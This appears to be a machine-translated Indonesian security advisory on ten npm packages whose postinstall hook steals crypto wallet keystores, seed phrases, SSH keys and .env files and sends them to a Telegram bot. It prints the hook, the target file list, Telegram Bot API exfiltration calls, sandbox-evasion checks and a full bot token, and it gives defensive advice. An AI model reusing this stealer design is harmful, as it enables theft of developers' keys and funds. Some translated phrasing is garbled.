TL; DR
Pada tanggal 9 Juni 2026, sebuah akun penerbit npm tunggal, aicrypto-xzgggdikirim sepuluh paket dengan nama-nama bernuansa kripto dan Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, dan enam lagi.
Setiap paket menjalankan muatan (payload) yang sama dari sebuah postinstall Saat instalasi, ia memeriksa apakah berjalan di dalam CI atau sandbox — jika tidak, ia membaca keystore dompet, file seed-phrase, kunci SSH, dan .env mengumpulkan file dari enam ekosistem blockchain yang berbeda dan mengirimkannya ke bot Telegram.
Satu-satunya indikator yang dapat langsung dicari oleh seorang pemain bertahan adalah ID bot Telegram. 8227918239.
Kerasnya: kritis — pencurian langsung kunci penandatanganan dan frasa pemulihan dari stasiun kerja pengembang.
Serangan: Bagaimana Cara Kerjanya
Paket-paket tersebut mengiklankan diri sebagai utilitas pengembang blockchain. package.json bersifat minimal dan mengarahkan siklus instalasi ke sebuah skrip:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } scripts/postinstall.js adalah shim satu baris yang memuat muatan sebenarnya: memerlukan(“../src/index.js”). Karena pascainstal berjalan secara otomatis selama instalasi npmTidak diperlukan impor kode oleh pengembang — cukup dengan menempatkan paket tersebut dalam pohon dependensi untuk menjalankannya.
Rantai pembunuhan di dalam src/index.js terdiri dari empat langkah:
- Pemeriksaan lingkungan. Fungsi penjaga menentukan apakah host tersebut terlihat seperti agen pembangunan atau lingkungan pengujian analisis.
- Menunda. Eksekusi ditunda di balik sebuah atur waktu habis sekitar 7.4 detik.
- Koleksi. Daftar jalur file dompet, kunci, dan rahasia yang tetap akan ditelusuri; file yang sudah ada akan dimasukkan ke dalam antrian.
- Eksfiltrasi. Berkas yang antri dikirim ke bot Telegram, didahului oleh pesan ringkasan.
Daftar target koleksi mencakup enam rantai ditambah rahasia pengembang generik. Dipangkas:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Total ada dua puluh satu jalur. Entri direktori seperti ~/.ethereum/keystore diperluas dan setiap file di dalamnya dimasukkan ke dalam antrian. Eksfiltrasi menggunakan API Bot Telegram secara langsung — sebuah kirimPesan panggilan dengan ringkasan host dan file, lalu sebuah kirim dokumen Unggahan multi-bagian untuk setiap file:
teks
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Pesan ringkasan yang disusun oleh kode tersebut dimulai dengan string literal. PENCURI KRIPTO, diikuti oleh nama host, nama pengguna, nama paket asal, jumlah file, dan stempel waktu.
Apa yang baru di sini?
Yang membedakannya bukanlah mekanisme pencurian — eksfiltrasi berbasis Telegram dari npm. pascainstal hooks sudah sering dilalui. Ini adalah gerbang eksekusi. Sebelum melakukan apa pun, payload memanggil sebuah fungsi yang mengembalikan nilai true ketika host menyerupai CI runner atau sandbox, dan mengembalikan nilai lebih awal ketika hal itu terjadi:
teks
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Ekspresi reguler ID kontainer adalah klausa yang penting: nama host 12 karakter heksadesimal adalah bentuk default yang diberikan Docker kepada sebuah kontainer. wadahJadi, muatan tersebut memperlakukan "nama host saya terlihat seperti kontainer Docker" sebagai alasan untuk tetap tidak aktif. Dikombinasikan dengan penundaan tujuh detik, desain ini lebih mengutamakan berjalan di workstation asli pengembang dan tetap tidak aktif di mana pun yang terlihat seperti analisis otomatis. Gerbang itulah yang menekan sinyal analisis dinamis dan menjaga aliran eksfiltrasi statis sebagai bukti utama untuk menjatuhkan hukuman.
Perusahaan
| Tanggal (UTC) | Acara |
|---|---|
| 2026-06-09 ~02:48 | Paket pertama dalam klaster ditandai pada saat publikasi (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Anggota versi lebih tinggi ditandai (ethereum-kit-9 di 1.25.36, wallet-sdk-9 pada pukul 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Anggota terakhir ditandai (defi-tools-39 di 4.26.29, swap-sdk-87 di 4.63.78, farming-tools-12 pada pukul 4.68.54) |
| 2026-06-09 | Kesepuluh item tersebut diklasifikasikan sebagai berbahaya dan dilaporkan untuk dihapus dari registri. |
Kesepuluhnya muncul dalam waktu sekitar tujuh puluh menit, sesuai dengan satu kali proses penerbitan yang telah direncanakan dari satu akun.
Indikator Kompromi
Indikator jaringan dan perilaku (host dinonaktifkan):
| Indikator | Nilai |
|---|---|
| Titik akhir eksfil | api[.]telegram[.]org (API Bot Telegram) |
| ID bot Telegram | 8227918239 |
| Token bot | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ID obrolan Telegram | 6433587894 |
| Pasang pengait | postinstall → scripts/postinstall.js → src/index.js |
| Tali penanda | CRYPTO STEALER dalam pesan ringkasan yang disusun |
| Publisher | aicrypto-xzggg (email yang disebutkan) vipsyria88@gmail[.]com(belum terverifikasi) |
Paket dan versi, masing-masing dengan SHA-256-nya. src/index.js payload (payload tersebut secara fungsional identik dan hanya berbeda pada label nama paket yang tertanam, sehingga setiap hash berbeda):
| Paket | Versi | SHA-256 dari src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Sebuah kueri pencarian sederhana: cari log instalasi dan file lock untuk salah satu dari sepuluh nama tersebut, dan cari lalu lintas keluar untuk koneksi ke Telegram Bot API dari host build atau pengembang yang tidak menggunakannya.
Atribusi & Perilaku yang Diamati
Kesepuluh paket tersebut diterbitkan oleh satu akun, aicrypto-xzggg, yang alamat email resminya adalah vipsyria88@gmail.comBaik email maupun tautan kontrol sumber tidak terverifikasi dalam metadata registri, dan akun tersebut memiliki skor reputasi yang sangat negatif. Kami belum mengkonfirmasi siapa yang mengoperasikan akun tersebut.
Ada dua detail yang perlu dipisahkan dari klaim identitas apa pun. Pertama, hal-hal berikut ini: package.json penulis bidang membaca Alex Smith pada setiap paket, sementara akun penerbitan sebenarnya adalah aicrypto-xzggg; kolom penulis adalah metadata yang dideklarasikan sendiri dan tidak menetapkan kepenulisan. Kedua, nomor versinya sangat bervariasi — beberapa anggota berada di 1.0.0, yang lain di 4.68.54 — yang konsisten dengan penggunaan kembali satu muatan data (payload) di berbagai nama paket yang baru dibuat, alih-alih mempertahankan riwayat rilis yang sebenarnya.
Perilakunya seragam di seluruh klaster: daftar jalur target yang sama, ID bot Telegram dan ID obrolan yang sama, gerbang lingkungan yang sama, dan seterusnya. PENCURI KRIPTO penanda. Keseragaman itulah yang menjadi penghubung terkuat antar paket. Ini adalah sinyal operator yang sama, bukan identitas.
Dampak, Tren & Panduan untuk Para Pembela
Kerentanannya nyata. Seorang pengembang yang menginstal salah satu paket ini pada workstation yang menyimpan dompet perangkat lunak, file frasa pemulihan, atau kunci SSH, akan menyebabkan file-file tersebut dibaca dan dikirimkan dari host dalam hitungan detik. Frasa pemulihan dan kunci penandatanganan tidak kedaluwarsa seperti token sesi; setelah mnemonic.txt atau Solana id.json Saat dana keluar dari mesin, dana yang dikendalikannya berisiko sampai dana tersebut dipindahkan. Proses yang sama juga mencakup .env berkas-berkas yang secara rutin berisi kunci API dan kredensial basis data.
Dua tren mendasari klaster ini. Pertama, penggunaan nama bertema kripto dan Web3 yang berkelanjutan untuk menarik audiens tertentu — pengembang yang menyimpan dompet dan kunci di mesin yang sama tempat mereka menginstal dependensi. Kedua, semakin matangnya penghindaran sandbox dalam payload saat instalasi. Gerbang yang memeriksa variabel lingkungan CI, nama pengguna runner, dan bentuk nama host ID kontainer Docker merupakan upaya yang disengaja untuk berperilaku berbeda saat dianalisis dibandingkan pada workstation sungguhan, dan hal ini meningkatkan standar untuk deteksi yang sepenuhnya dinamis.
Untuk para pemain bertahan:
Instal dengan skrip dinonaktifkan secara default. npm install –ignore-scripts, atau atur abaikan skrip=benar in .npmrc, mencegah pascainstal eksekusi; aktifkan skrip hanya untuk dependensi spesifik yang benar-benar membutuhkannya.
Pisahkan dompet dan kunci penandatanganan dari mesin pembuatan dan pengembangan. Gunakan dompet perangkat keras atau host penandatanganan khusus yang tidak bergantung pada pihak lain.
Memperlakukan .env, keystore, dan file seed-phrase sebagai aset berharga. File-file tersebut tidak boleh ditempatkan di direktori yang juga merupakan sebuah instalasi npm pohon kerja.
Cari koneksi keluar ke Telegram Bot API dari CI dan host pengembang. Sebagian besar lingkungan build tidak pernah memanggilnya; jika tiba-tiba memanggilnya, tepat setelah instalasi, patut diselidiki.
Sematkan dan tinjau dependensi. Paket baru dengan nama kripto generik, sebuah pascainstal kait, dan tidak ada tautan repositori yang perlu diperiksa sebelum masuk ke dalam lockfile.
Klausul penghindaran ID kontainer juga merupakan pengingat bagi analis: muatan saat instalasi yang tetap tidak aktif di dalam sandbox bukanlah hal yang tidak berbahaya, melainkan selektif. Tinjauan statis terhadap jalur instalasi tetap menjadi cara yang andal untuk melihat apa yang mungkin tidak ditampilkan oleh eksekusi dinamis.
Referensi
Dokumentasi npm install — skrip siklus hidup dan –Abaikan-skrip— referensi untuk menonaktifkan instalasi otomatis hooks.





